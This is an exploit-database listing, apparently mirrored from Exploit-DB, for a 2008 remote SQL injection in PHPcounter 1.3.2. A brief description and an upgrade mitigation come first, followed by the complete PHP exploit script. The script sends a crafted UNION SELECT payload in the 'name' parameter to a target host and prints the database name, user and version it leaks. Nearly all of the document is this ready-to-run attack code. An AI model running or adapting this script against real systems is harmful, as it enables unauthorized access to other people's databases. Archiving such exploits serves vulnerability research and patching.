PHPcounter - exploit.company

vendor:

PHPcounter

by:

StAkeR

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: PHPcounter

Affected Version From: 1.3.2002

Affected Version To: 1.3.2002

Patch Exists: YES

Related CWE: N/A

CPE: a:phpcounter:phpcounter

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2008

PHPcounter <= 1.3.2 Remote SQL Injection Exploit

PHPcounter is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability to gain access to the database, user and version information. This is achieved by sending a specially crafted HTTP request to the vulnerable application.

Mitigation:

Upgrade to the latest version of PHPcounter.

Source

Exploit-DB raw data:

#!/usr/bin/php -q
<?php

// PHPcounter <= 1.3.2 Remote SQL Injection Exploit
// Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
// Discovered On: 28/09/2008
// Download: http://sourceforge.net/projects/phpcounter/

error_reporting(0);

$host = $argv[1] or banner();
$path = $argv[2] or banner();
$host = str_replace('http://',NULL,$host);

$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";
$isql = urlencode($isql);

function banner() {
  echo "[?] Usage: php $argv[0] http://example.com /cms\r\n";
  exit(0);
}

if(!$sock = fsockopen($host,80)) {
  die("Socket Error\r\n");
}

$data .= "GET /$path/index.php?name=$isql HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Connection: close\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) {
  $content .= fgets($sock);
} fclose($sock); 


if(preg_match('/\$(.+?)\$/',$content,$out)) {
  print "[+] $out[1]\r\n";
}
else {
  echo "[!] Exploit Failed!\n";
}

?>

# milw0rm.com [2008-09-28]